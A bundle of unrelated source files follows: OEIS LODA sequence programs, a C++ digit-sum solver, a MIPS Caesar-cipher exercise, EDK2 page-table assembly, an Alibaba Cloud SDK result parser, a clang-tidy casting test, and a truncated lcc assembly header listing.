; A249038: Number of odd terms in first n terms of A249036. ; 1,1,1,2,2,2,3,4,4,5,5,5,6,7,7,7,8,9,9,10,10,11,11,11,12,13,13,13,14,15,15,15,16,17,17,17,18,19,19,20,20,21,21,22,22,23,23,23,24,25,25,25,26,27,27,27,28,29,29,29,30,31,31,31,32,33,33,33,34,35,35,35,36,37,37,37,38,39 mov $5,$0 mov $7,$0 add $7,1 lpb $7,1 clr $0,5 mov $0,$5 sub $7,1 sub $0,$7 cal $0,249036 ; a(1)=1, a(2)=2; thereafter a(n) = a(n-1-(number of even terms so far)) + a(n-1-(number of odd terms so far)). gcd $0,2 add $0,1 add $2,1 sub $0,$2 mul $0,12 mov $1,$0 sub $1,67 sub $4,$1 mov $1,$4 sub $1,21 div $1,24 add $6,$1 lpe mov $1,$6
#include <bits/stdc++.h> using namespace std; typedef long long ll; typedef pair<int, int> pii; const int ms = 1e5 + 5; ll dp[10][100][2]; int a, b; ll solve(int cur, int sum, int lim, string digit){ if(cur == -1) return sum; if(dp[cur][sum][lim] != -1 && !lim) return dp[cur][sum][lim]; ll ret = 0; int bound = (lim ? digit[cur] - '0' : 9); for(int i = 0; i <= bound; ++i){ int nL = (digit[cur] - '0' == i) && lim; ret += solve(cur - 1, sum + i, nL, digit); } if(!lim) dp[cur][sum][lim] = ret; return ret; } int main(){ ios::sync_with_stdio(0); cin.tie(0); memset(dp, -1, sizeof(dp)); while(cin >> a >> b && a != -1 && b != -1){ string s1 = to_string(a - 1); string s2 = to_string(b); reverse(s1.begin(), s1.end()); reverse(s2.begin(), s2.end()); cout << solve(s2.size() - 1, 0, 1, s2) - solve(s1.size() - 1, 0, 1, s1) << endl; } return 0; }
; A036563: a(n) = 2^n - 3. ; -2,-1,1,5,13,29,61,125,253,509,1021,2045,4093,8189,16381,32765,65533,131069,262141,524285,1048573,2097149,4194301,8388605,16777213,33554429,67108861,134217725,268435453,536870909,1073741821,2147483645,4294967293,8589934589,17179869181,34359738365,68719476733,137438953469,274877906941,549755813885,1099511627773,2199023255549,4398046511101,8796093022205,17592186044413,35184372088829,70368744177661,140737488355325,281474976710653,562949953421309,1125899906842621,2251799813685245,4503599627370493,9007199254740989 mov $1,2 pow $1,$0 sub $1,3
#Name: __STRIPPED__ #Username: __STRIPPED__ #Description: This program performs a Caesar Cipher of specified shifting on capital letters of words. #email: __STRIPPED__ #DateCreated: 10-04-16 #DateLastRevised: 10-08-16 ########################################## #Begin ########################################## ##### Variable Directory ### $t8 and $t9 are only used in pre-proccessing # $t9 = byte counter ### Used throughought the main part of the program # $t7 = amount to shift by # $t6 = Pointer to the address to perform on next # $t5 = The next word to be changed # $t4 = Lowest value of capital ASCII chars # $t3 = Highest value of capital ASCII chars # $t0 = byte to handle main: b reset ###################################### # Iterate over the characters in a word # and check if they're capital # if they are, shift; then store in memory ###################################### iterateOver: lb $a0, 0($t6) # Load character of the word beq $a0, 0, nextWord # Ending of structure jal checkHigh # Jump to check character and link li $v0, 11 #Call command to output char syscall # Outputs char in #a0 add $t6, $t6, 1 # increment to next byte b iterateOver # loop de loop ##################################### # Ends the current word ##################################### finishWord: lb $a0, 0($t6) # Load the next letter beq $a0, 0, exit # Exit the system jal checkHigh #Iterates over the final word li $v0, 11 # Prep out command for $a0 syscall #output character add $t6, $t6, 1 # Move on to the next b finishWord # loop de loop ##################################### # Check to see if character is in range ##################################### checkHigh: ble $a0, 90, checkLow # Char falls into bounds, crypt shift it jr $ra # Return to jal in iterateOver ##################################### # Check to see if character is in range ##################################### checkLow: bge $a0, 65, crypt # Char falls into bounds, crypt shift it jr $ra # Return to jal in iterateOver ##################################### # Lowers character until within range ##################################### crypt: add $a0, $a0, $t9 # Add in shift bgt $a0, 90, lowerCharacter # If too high out of range, wrap blt $a0, 65, raiseCharacter # If too low out of range, wrap jr $ra # Jump back to iterateOver jal ##################################### # Lowers character until within range ##################################### lowerCharacter: sub $a0, $a0, 26 # Subtract 26 to put back in range, EX: Z + shift of right 1 = dec(91). 91 - 26 = 65 (ASCII 'A') #bgt $t0, $t3 , lowerCharacter #Used to wrap characters around to 'A' if they exceed the level jr $ra # Jump back to iterateOver jal ##################################### # Raises character until within range ##################################### raiseCharacter: add $a0, $a0, 26 # Add 26 to put back in range, EX: A + shift of left 1 = dec(64). 64 + 26 = 90 (ASCII 'Z') #blt $t0, $t4 , raiseCharacter #Used to wrap characters around to 'Z' if they are below the level jr $ra # Jump back to iterateOver jal ##################################### # Jump to next word ##################################### nextWord: lw $t5, 0($t7) # to next beq $t5, -1 finishWord # Permits start of end sequence lw $t8, 0($t7) # Load node word la $t7, 0($t8) # load next address la $t6, 4($t8) # load next node word address lw $t5, 0($t8) # to next li $v0, 11 #Syscall, 11 to print out addi $a0, $0, 32 # ASCII Space syscall # Push out space character beq $t5, -1 finishWord # Permits start of end sequence j iterateOver # Go to iterateOver and start scanning ###################################### # Exits the program ###################################### exit: li $v0, 10 # Loads exit code to be called syscall # Issue system call to terminate program ###################################### # Reset all active used value to zero ###################################### reset: ########### li $a0, 0 # Set all arguments as 0 li $a1, 0 li $a2, 0 li $a3, 0 ########### Set All temp var values as 0 li $t0, 0 li $t1, 0 li $t2, 0 li $t3, 0 li $t4, 0 li $t5, 0 li $t6, 0 li $t7, 0 li $t8, 0 li $t9, 0 ########### Set All saved var values as 0 li $s0, 0 li $s1, 0 li $s2, 0 li $s3, 0 li $s4, 0 li $s5, 0 li $s6, 0 li $s7, 0 # Start the main portion of the program b preset ###################################### # Set up Enviroment ###################################### preset: lw $t9, shift # Amount to peform binary shifts to and from la $t8, first # Address pointer Node la $t7, 0($t8) # Load word la $t6, 4($t8) # Load message beq $t7, -1, finishWord b iterateOver #Finds the point to start saving encrypted chars ### START DATA ### .data shift: .word 3 first: .word -1 ### END DATA ###
;------------------------------------------------------------------------------ ; @file ; Emits Page Tables for 1:1 mapping of the addresses 0 - 0x100000000 (4GB) ; ; Copyright (c) 2008 - 2014, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;------------------------------------------------------------------------------ BITS 64 %define ALIGN_TOP_TO_4K_FOR_PAGING %define PAGE_PRESENT 0x01 %define PAGE_READ_WRITE 0x02 %define PAGE_USER_SUPERVISOR 0x04 %define PAGE_WRITE_THROUGH 0x08 %define PAGE_CACHE_DISABLE 0x010 %define PAGE_ACCESSED 0x020 %define PAGE_DIRTY 0x040 %define PAGE_PAT 0x080 %define PAGE_GLOBAL 0x0100 %define PAGE_2M_MBO 0x080 %define PAGE_2M_PAT 0x01000 %define PAGE_2M_PDE_ATTR (PAGE_2M_MBO + \ PAGE_ACCESSED + \ PAGE_DIRTY + \ PAGE_READ_WRITE + \ PAGE_PRESENT) %define PAGE_PDP_ATTR (PAGE_ACCESSED + \ PAGE_READ_WRITE + \ PAGE_PRESENT) %define PGTBLS_OFFSET(x) ((x) - TopLevelPageDirectory) %define PGTBLS_ADDR(x) (ADDR_OF(TopLevelPageDirectory) + (x)) %define PDP(offset) (ADDR_OF(TopLevelPageDirectory) + (offset) + \ PAGE_PDP_ATTR) %define PTE_2MB(x) ((x << 21) + PAGE_2M_PDE_ATTR) TopLevelPageDirectory: ; ; Top level Page Directory Pointers (1 * 512GB entry) ; DQ PDP(0x1000) ; ; Next level Page Directory Pointers (4 * 1GB entries => 4GB) ; TIMES 0x1000-PGTBLS_OFFSET($) DB 0 DQ PDP(0x2000) DQ PDP(0x3000) DQ PDP(0x4000) DQ PDP(0x5000) ; ; Page Table Entries (2048 * 2MB entries => 4GB) ; TIMES 0x2000-PGTBLS_OFFSET($) DB 0 %assign i 0 %rep 0x800 DQ PTE_2MB(i) %assign i i+1 %endrep EndOfPageTables:
; A250766: Number of (n+1) X (5+1) 0..1 arrays with nondecreasing x(i,j)-x(i,j-1) in the i direction and nondecreasing absolute value of x(i,j)-x(i-1,j) in the j direction. ; 133,214,344,572,996,1812,3412,6580,12884,25460,50580,100788,201172,401908,803348,1606196,3211860,6423156,12845716,25690804,51380948,102761204,205521684,411042612,822084436,1644168052,3288335252,6576669620,13153338324,26306675700,52613350420,105226699828,210453398612,420906796148,841813591188,1683627181236,3367254361300,6734508721396,13469017441556,26938034881844,53876069762388,107752139523444,215504279045524,431008558089652,862017116177876,1724034232354292,3448068464707092,6896136929412660 mov $3,$0 mov $4,11 lpb $0,1 sub $0,1 mul $4,2 sub $4,4 add $1,$4 lpe add $1,3 add $4,1 mov $2,$4 sub $2,4 mov $4,$1 mul $1,2 add $4,$2 add $1,$4 lpb $3,1 add $1,20 sub $3,1 lpe add $1,116
/* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <alibabacloud/linkwan/model/GetNodeGroupResult.h> #include <json/json.h> using namespace AlibabaCloud::LinkWAN; using namespace AlibabaCloud::LinkWAN::Model; GetNodeGroupResult::GetNodeGroupResult() : ServiceResult() {} GetNodeGroupResult::GetNodeGroupResult(const std::string &payload) : ServiceResult() { parse(payload); } GetNodeGroupResult::~GetNodeGroupResult() {} void GetNodeGroupResult::parse(const std::string &payload) { Json::Reader reader; Json::Value value; reader.parse(payload, value); setRequestId(value["RequestId"].asString()); auto dataNode = value["Data"]; if(!dataNode["NodeGroupId"].isNull()) data_.nodeGroupId = dataNode["NodeGroupId"].asString(); if(!dataNode["NodeGroupName"].isNull()) data_.nodeGroupName = dataNode["NodeGroupName"].asString(); if(!dataNode["NodesCnt"].isNull()) data_.nodesCnt = std::stol(dataNode["NodesCnt"].asString()); if(!dataNode["DataDispatchEnabled"].isNull()) data_.dataDispatchEnabled = dataNode["DataDispatchEnabled"].asString() == "true"; if(!dataNode["JoinPermissionId"].isNull()) data_.joinPermissionId = dataNode["JoinPermissionId"].asString(); if(!dataNode["JoinPermissionOwnerAliyunId"].isNull()) data_.joinPermissionOwnerAliyunId = dataNode["JoinPermissionOwnerAliyunId"].asString(); if(!dataNode["JoinEui"].isNull()) data_.joinEui = dataNode["JoinEui"].asString(); if(!dataNode["FreqBandPlanGroupId"].isNull()) data_.freqBandPlanGroupId = std::stol(dataNode["FreqBandPlanGroupId"].asString()); if(!dataNode["ClassMode"].isNull()) data_.classMode = dataNode["ClassMode"].asString(); if(!dataNode["JoinPermissionType"].isNull()) data_.joinPermissionType = dataNode["JoinPermissionType"].asString(); if(!dataNode["JoinPermissionEnabled"].isNull()) data_.joinPermissionEnabled = dataNode["JoinPermissionEnabled"].asString() == "true"; if(!dataNode["RxDailySum"].isNull()) data_.rxDailySum = dataNode["RxDailySum"].asString(); if(!dataNode["RxMonthSum"].isNull()) data_.rxMonthSum = std::stol(dataNode["RxMonthSum"].asString()); if(!dataNode["TxDailySum"].isNull()) data_.txDailySum = std::stol(dataNode["TxDailySum"].asString()); if(!dataNode["TxMonthSum"].isNull()) data_.txMonthSum = std::stol(dataNode["TxMonthSum"].asString()); if(!dataNode["CreateMillis"].isNull()) data_.createMillis = std::stol(dataNode["CreateMillis"].asString()); if(!dataNode["JoinPermissionName"].isNull()) data_.joinPermissionName = dataNode["JoinPermissionName"].asString(); if(!dataNode["MulticastGroupId"].isNull()) data_.multicastGroupId = dataNode["MulticastGroupId"].asString(); if(!dataNode["MulticastEnabled"].isNull()) data_.multicastEnabled = dataNode["MulticastEnabled"].asString() == "true"; if(!dataNode["MulticastNodeCapacity"].isNull()) data_.multicastNodeCapacity = std::stoi(dataNode["MulticastNodeCapacity"].asString()); if(!dataNode["MulticastNodeCount"].isNull()) data_.multicastNodeCount = std::stoi(dataNode["MulticastNodeCount"].asString()); auto allLocksNode = dataNode["Locks"]["LocksItem"]; for (auto dataNodeLocksLocksItem : allLocksNode) { Data::LocksItem locksItemObject; if(!dataNodeLocksLocksItem["LockId"].isNull()) locksItemObject.lockId = dataNodeLocksLocksItem["LockId"].asString(); if(!dataNodeLocksLocksItem["LockType"].isNull()) locksItemObject.lockType = dataNodeLocksLocksItem["LockType"].asString(); if(!dataNodeLocksLocksItem["Enabled"].isNull()) locksItemObject.enabled = dataNodeLocksLocksItem["Enabled"].asString() == "true"; if(!dataNodeLocksLocksItem["CreateMillis"].isNull()) locksItemObject.createMillis = std::stol(dataNodeLocksLocksItem["CreateMillis"].asString()); data_.locks.push_back(locksItemObject); } auto dataDispatchConfigNode = dataNode["DataDispatchConfig"]; if(!dataDispatchConfigNode["Destination"].isNull()) data_.dataDispatchConfig.destination = dataDispatchConfigNode["Destination"].asString(); auto iotProductNode = dataDispatchConfigNode["IotProduct"]; if(!iotProductNode["ProductName"].isNull()) data_.dataDispatchConfig.iotProduct.productName = iotProductNode["ProductName"].asString(); if(!iotProductNode["ProductKey"].isNull()) data_.dataDispatchConfig.iotProduct.productKey = iotProductNode["ProductKey"].asString(); if(!iotProductNode["ProductType"].isNull()) data_.dataDispatchConfig.iotProduct.productType = iotProductNode["ProductType"].asString(); if(!iotProductNode["DebugSwitch"].isNull()) data_.dataDispatchConfig.iotProduct.debugSwitch = iotProductNode["DebugSwitch"].asString() == "true"; auto onsTopicsNode = dataDispatchConfigNode["OnsTopics"]; if(!onsTopicsNode["DownlinkRegionName"].isNull()) data_.dataDispatchConfig.onsTopics.downlinkRegionName = onsTopicsNode["DownlinkRegionName"].asString(); if(!onsTopicsNode["DownlinkTopic"].isNull()) data_.dataDispatchConfig.onsTopics.downlinkTopic = onsTopicsNode["DownlinkTopic"].asString(); if(!onsTopicsNode["UplinkRegionName"].isNull()) data_.dataDispatchConfig.onsTopics.uplinkRegionName = onsTopicsNode["UplinkRegionName"].asString(); if(!onsTopicsNode["UplinkTopic"].isNull()) data_.dataDispatchConfig.onsTopics.uplinkTopic = onsTopicsNode["UplinkTopic"].asString(); if(!value["Success"].isNull()) success_ = value["Success"].asString() == "true"; } GetNodeGroupResult::Data GetNodeGroupResult::getData()const { return data_; } bool GetNodeGroupResult::getSuccess()const { return success_; }
; A175461: Semiprimes of form 8n+5. ; Submitted by Christian Krause ; 21,69,77,85,93,133,141,205,213,221,237,253,301,309,341,365,381,413,437,445,453,469,485,493,501,517,533,565,573,581,589,597,629,669,685,717,749,781,789,813,869,893,901,917,933,949,965,973,989,1037,1077,1101,1133,1141,1149,1157,1165,1189,1205,1253,1261,1285,1293,1317,1333,1349,1357,1389,1397,1405,1437,1461,1469,1477,1501,1509,1517,1541,1565,1589,1661,1685,1717,1757,1765,1781,1797,1821,1829,1837,1853,1893,1909,1941,1957,1981,2005,2021,2045,2077 mov $1,10 mov $2,$0 add $2,2 pow $2,2 lpb $2 mov $3,$1 mul $3,2 seq $3,64911 ; If n is semiprime (or 2-almost prime) then 1 else 0. sub $0,$3 add $1,4 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,1 lpe mov $0,$1 mul $0,2 add $0,1
// RUN: %check_clang_tidy -std=c++11,c++14 %s google-readability-casting %t // FIXME: Fix the checker to work in C++17 mode. bool g() { return false; } enum Enum { Enum1 }; struct X {}; struct Y : public X {}; void f(int a, double b, const char *cpc, const void *cpv, X *pX) { const char *cpc2 = (const char*)cpc; // CHECK-MESSAGES: :[[@LINE-1]]:22: warning: redundant cast to the same type [google-readability-casting] // CHECK-FIXES: const char *cpc2 = cpc; typedef const char *Typedef1; typedef const char *Typedef2; Typedef1 t1; (Typedef2)t1; // CHECK-MESSAGES: :[[@LINE-1]]:3: warning: C-style casts are discouraged; use static_cast (if needed, the cast may be redundant) [google-readability-casting] // CHECK-FIXES: {{^}} static_cast<Typedef2>(t1); (const char*)t1; // CHECK-MESSAGES: :[[@LINE-1]]:3: warning: {{.*}}; use static_cast (if needed // CHECK-FIXES: {{^}} static_cast<const char*>(t1); (Typedef1)cpc; // CHECK-MESSAGES: :[[@LINE-1]]:3: warning: {{.*}}; use static_cast (if needed // CHECK-FIXES: {{^}} static_cast<Typedef1>(cpc); (Typedef1)t1; // CHECK-MESSAGES: :[[@LINE-1]]:3: warning: redundant cast to the same type // CHECK-FIXES: {{^}} t1; char *pc = (char*)cpc; // CHECK-MESSAGES: :[[@LINE-1]]:14: warning: C-style casts are discouraged; use const_cast [google-readability-casting] // CHECK-FIXES: char *pc = const_cast<char*>(cpc); typedef char Char; Char *pChar = (Char*)pc; // CHECK-MESSAGES: :[[@LINE-1]]:17: warning: {{.*}}; use static_cast (if needed // CHECK-FIXES: {{^}} Char *pChar = static_cast<Char*>(pc); (Char)*cpc; // CHECK-MESSAGES: :[[@LINE-1]]:3: warning: {{.*}}; use static_cast (if needed // CHECK-FIXES: {{^}} static_cast<Char>(*cpc); (char)*pChar; // CHECK-MESSAGES: :[[@LINE-1]]:3: warning: {{.*}}; use static_cast (if needed // CHECK-FIXES: {{^}} static_cast<char>(*pChar); (const char*)cpv; // CHECK-MESSAGES: :[[@LINE-1]]:3: warning: {{.*}}; use static_cast [ // CHECK-FIXES: static_cast<const char*>(cpv); char *pc2 = (char*)(cpc + 33); // CHECK-MESSAGES: :[[@LINE-1]]:15: warning: {{.*}}; use const_cast [ // CHECK-FIXES: char *pc2 = const_cast<char*>(cpc + 33); const char &crc = *cpc; char &rc = (char&)crc; // CHECK-MESSAGES: :[[@LINE-1]]:14: warning: {{.*}}; use const_cast [ // CHECK-FIXES: char &rc = const_cast<char&>(crc); char &rc2 = (char&)*cpc; // CHECK-MESSAGES: :[[@LINE-1]]:15: warning: {{.*}}; use const_cast [ // CHECK-FIXES: char &rc2 = const_cast<char&>(*cpc); char ** const* const* ppcpcpc; char ****ppppc = (char****)ppcpcpc; // CHECK-MESSAGES: :[[@LINE-1]]:20: warning: {{.*}}; use const_cast [ // CHECK-FIXES: char ****ppppc = const_cast<char****>(ppcpcpc); char ***pppc = (char***)*(ppcpcpc); // CHECK-MESSAGES: :[[@LINE-1]]:18: warning: {{.*}}; use const_cast [ // CHECK-FIXES: char ***pppc = const_cast<char***>(*(ppcpcpc)); char ***pppc2 = (char***)(*ppcpcpc); // CHECK-MESSAGES: :[[@LINE-1]]:19: warning: {{.*}}; use const_cast [ // CHECK-FIXES: char ***pppc2 = const_cast<char***>(*ppcpcpc); char *pc5 = (char*)(const char*)(cpv); // CHECK-MESSAGES: :[[@LINE-1]]:15: warning: {{.*}}; use const_cast [ // CHECK-MESSAGES: :[[@LINE-2]]:22: warning: {{.*}}; use static_cast [ // CHECK-FIXES: char *pc5 = const_cast<char*>(static_cast<const char*>(cpv)); int b1 = (int)b; // CHECK-MESSAGES: :[[@LINE-1]]:12: warning: {{.*}}; use static_cast [ // CHECK-FIXES: int b1 = static_cast<int>(b); b1 = (const int&)b; // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: {{.*}}; use static_cast/const_cast/reinterpret_cast [ // CHECK-FIXES: b1 = (const int&)b; b1 = (int) b; // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: {{.*}}; use static_cast {{.*}} // CHECK-FIXES: b1 = static_cast<int>(b); b1 = (int) b; // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: {{.*}}; use static_cast {{.*}} // CHECK-FIXES: b1 = static_cast<int>(b); b1 = (int) (b); // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: {{.*}}; use static_cast {{.*}} // CHECK-FIXES: b1 = static_cast<int>(b); b1 = (int) (b); // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: {{.*}}; use static_cast {{.*}} // CHECK-FIXES: b1 = static_cast<int>(b); Y *pB = (Y*)pX; // CHECK-MESSAGES: :[[@LINE-1]]:11: warning: {{.*}}; use static_cast/const_cast/reinterpret_cast [ Y &rB = (Y&)*pX; // CHECK-MESSAGES: :[[@LINE-1]]:11: warning: {{.*}}; use static_cast/const_cast/reinterpret_cast [ const char *pc3 = (const char*)cpv; // CHECK-MESSAGES: :[[@LINE-1]]:21: warning: {{.*}}; use static_cast [ // CHECK-FIXES: const char *pc3 = static_cast<const char*>(cpv); char *pc4 = (char*)cpv; // CHECK-MESSAGES: :[[@LINE-1]]:15: warning: {{.*}}; use static_cast/const_cast/reinterpret_cast [ // CHECK-FIXES: char *pc4 = (char*)cpv; b1 = (int)Enum1; // CHECK-MESSAGES: :[[@LINE-1]]:8: warning: {{.*}}; use static_cast [ // CHECK-FIXES: b1 = static_cast<int>(Enum1); Enum e = (Enum)b1; // CHECK-MESSAGES: :[[@LINE-1]]:12: warning: {{.*}}; use static_cast [ // CHECK-FIXES: Enum e = static_cast<Enum>(b1); e = (Enum)Enum1; // CHECK-MESSAGES: :[[@LINE-1]]:7: warning: redundant cast to the same type // CHECK-FIXES: {{^}} e = Enum1; e = (Enum)e; // CHECK-MESSAGES: :[[@LINE-1]]:7: warning: redundant cast to the same type // CHECK-FIXES: {{^}} e = e; e = (Enum) e; // CHECK-MESSAGES: :[[@LINE-1]]:7: warning: redundant cast to the same type // CHECK-FIXES: {{^}} e = e; e = (Enum) (e); // CHECK-MESSAGES: :[[@LINE-1]]:7: warning: redundant cast to the same type // CHECK-FIXES: {{^}} e = (e); static const int kZero = 0; (int)kZero; // CHECK-MESSAGES: :[[@LINE-1]]:3: warning: redundant cast to the same type // CHECK-FIXES: {{^}} kZero; int b2 = int(b); int b3 = static_cast<double>(b); int b4 = b; double aa = a; (void)b2; return (void)g(); } template <typename T> void template_function(T t, int n) { int i = (int)t; // CHECK-MESSAGES: :[[@LINE-1]]:11: warning: {{.*}}; use static_cast/const_cast/reinterpret_cast [ // CHECK-FIXES: int i = (int)t; int j = (int)n; // CHECK-MESSAGES: :[[@LINE-1]]:11: warning: redundant cast to the same type // CHECK-FIXES: int j = n; } template <typename T> struct TemplateStruct { void f(T t, int n) { int k = (int)t; // CHECK-MESSAGES: :[[@LINE-1]]:13: warning: {{.*}}; use static_cast/const_cast/reinterpret_cast // CHECK-FIXES: int k = (int)t; int l = (int)n; // CHECK-MESSAGES: :[[@LINE-1]]:13: warning: redundant cast to the same type // CHECK-FIXES: int l = n; } }; void test_templates() { template_function(1, 42); template_function(1.0, 42); TemplateStruct<int>().f(1, 42); TemplateStruct<double>().f(1.0, 42); } extern "C" { void extern_c_code(const char *cpc) { const char *cpc2 = (const char*)cpc; // CHECK-MESSAGES: :[[@LINE-1]]:22: warning: redundant cast to the same type // CHECK-FIXES: const char *cpc2 = cpc; char *pc = (char*)cpc; } } #define CAST(type, value) (type)(value) void macros(double d) { int i = CAST(int, d); } enum E { E1 = 1 }; template <E e> struct A { // Usage of template argument e = E1 is represented as (E)1 in the AST for // some reason. We have a special treatment of this case to avoid warnings // here. static const E ee = e; }; struct B : public A<E1> {}; void overloaded_function(); void overloaded_function(int); template<typename Fn> void g(Fn fn) { fn(); } void function_casts() { typedef void (*FnPtrVoid)(); typedef void (&FnRefVoid)(); typedef void (&FnRefInt)(int); g((void (*)())overloaded_function); // CHECK-MESSAGES: :[[@LINE-1]]:5: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: g(static_cast<void (*)()>(overloaded_function)); g((void (*)())&overloaded_function); // CHECK-MESSAGES: :[[@LINE-1]]:5: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: g(static_cast<void (*)()>(&overloaded_function)); g((void (&)())overloaded_function); // CHECK-MESSAGES: :[[@LINE-1]]:5: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: g(static_cast<void (&)()>(overloaded_function)); g((FnPtrVoid)overloaded_function); // CHECK-MESSAGES: :[[@LINE-1]]:5: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: g(static_cast<FnPtrVoid>(overloaded_function)); g((FnPtrVoid)&overloaded_function); // CHECK-MESSAGES: :[[@LINE-1]]:5: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: g(static_cast<FnPtrVoid>(&overloaded_function)); g((FnRefVoid)overloaded_function); // CHECK-MESSAGES: :[[@LINE-1]]:5: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: g(static_cast<FnRefVoid>(overloaded_function)); FnPtrVoid fn0 = (void (*)())&overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:19: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: FnPtrVoid fn0 = static_cast<void (*)()>(&overloaded_function); FnPtrVoid fn1 = (void (*)())overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:19: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: FnPtrVoid fn1 = static_cast<void (*)()>(overloaded_function); FnPtrVoid fn1a = (FnPtrVoid)overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:20: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: FnPtrVoid fn1a = static_cast<FnPtrVoid>(overloaded_function); FnRefInt fn2 = (void (&)(int))overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:18: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: FnRefInt fn2 = static_cast<void (&)(int)>(overloaded_function); auto fn3 = (void (*)())&overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:14: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: auto fn3 = static_cast<void (*)()>(&overloaded_function); auto fn4 = (void (*)())overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:14: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: auto fn4 = static_cast<void (*)()>(overloaded_function); auto fn5 = (void (&)(int))overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:14: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: auto fn5 = static_cast<void (&)(int)>(overloaded_function); void (*fn6)() = (void (*)())&overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:19: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: void (*fn6)() = static_cast<void (*)()>(&overloaded_function); void (*fn7)() = (void (*)())overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:19: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: void (*fn7)() = static_cast<void (*)()>(overloaded_function); void (*fn8)() = (FnPtrVoid)overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:19: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: void (*fn8)() = static_cast<FnPtrVoid>(overloaded_function); void (&fn9)(int) = (void (&)(int))overloaded_function; // CHECK-MESSAGES: :[[@LINE-1]]:22: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: void (&fn9)(int) = static_cast<void (&)(int)>(overloaded_function); void (*correct1)() = static_cast<void (*)()>(overloaded_function); FnPtrVoid correct2 = static_cast<void (*)()>(&overloaded_function); FnRefInt correct3 = static_cast<void (&)(int)>(overloaded_function); } struct S { S(const char *); }; struct ConvertibleToS { operator S() const; }; struct ConvertibleToSRef { operator const S&() const; }; void conversions() { //auto s1 = (const S&)""; // C HECK-MESSAGES: :[[@LINE-1]]:10: warning: C-style casts are discouraged; use static_cast [ // C HECK-FIXES: S s1 = static_cast<const S&>(""); auto s2 = (S)""; // CHECK-MESSAGES: :[[@LINE-1]]:13: warning: C-style casts are discouraged; use constructor call syntax [ // CHECK-FIXES: auto s2 = S(""); auto s2a = (struct S)""; // CHECK-MESSAGES: :[[@LINE-1]]:14: warning: C-style casts are discouraged; use static_cast [ // CHECK-FIXES: auto s2a = static_cast<struct S>(""); auto s2b = (const S)""; // CHECK-MESSAGES: :[[@LINE-1]]:14: warning: C-style casts are discouraged; use static_cast [ // FIXME: This should be constructor call syntax: S(""). // CHECK-FIXES: auto s2b = static_cast<const S>(""); ConvertibleToS c; auto s3 = (const S&)c; // CHECK-MESSAGES: :[[@LINE-1]]:13: warning: C-style casts are discouraged; use static_cast/const_cast/reinterpret_cast [ // CHECK-FIXES: auto s3 = (const S&)c; // FIXME: This should be a static_cast. // C HECK-FIXES: auto s3 = static_cast<const S&>(c); auto s4 = (S)c; // CHECK-MESSAGES: :[[@LINE-1]]:13: warning: C-style casts are discouraged; use constructor call syntax [ // CHECK-FIXES: auto s4 = S(c); ConvertibleToSRef cr; auto s5 = (const S&)cr; // CHECK-MESSAGES: :[[@LINE-1]]:13: warning: C-style casts are discouraged; use static_cast/const_cast/reinterpret_cast [ // CHECK-FIXES: auto s5 = (const S&)cr; // FIXME: This should be a static_cast. // C HECK-FIXES: auto s5 = static_cast<const S&>(cr); auto s6 = (S)cr; // CHECK-MESSAGES: :[[@LINE-1]]:13: warning: C-style casts are discouraged; use constructor call syntax [ // CHECK-FIXES: auto s6 = S(cr); }
.file "e:\lcc\include\stddef.h" _$M0: .file "e:\projects\progs\petrosjan\bjwj\worm\kkqvx.c" .text .file "e:\lcc\include\stdlib.h" _$M1: .text .file "e:\lcc\include\safelib.h" _$M2: .file "e:\lcc\include\stdlib.h" _$M3: .file "e:\lcc\include\string.h" _$M4: .file "e:\lcc\include\stdarg.h" _$M5: .file "e:\lcc\include\ctype.h" _$M6: .file "e:\lcc\include\win.h" _$M7: .file "e:\lcc\include\basetsd.h" _$M8: .file "e:\lcc\include\win.h" _$M9: .file "e:\lcc\include\stdio.h" _$M10: .file "e:\lcc\include\ole2.h" _$M11: .file "e:\lcc\include\rpc.h" _$M12: .file "e:\lcc\include\rpcdce.h" _$M13: .file "e:\lcc\include\rpcdcep.h" _$M14: .file "e:\lcc\include\rpcnsi.h" _$M15: .file "e:\lcc\include\rpcasync.h" _$M16: .file "e:\lcc\include\rpcnsip.h" _$M17: .file "e:\lcc\include\rpcndr.h" _$M18: .file "e:\lcc\include\objbase.h" _$M19: .file "e:\lcc\include\unknwn.h" _$M20: .file "e:\lcc\include\objidl.h" _$M21: .file 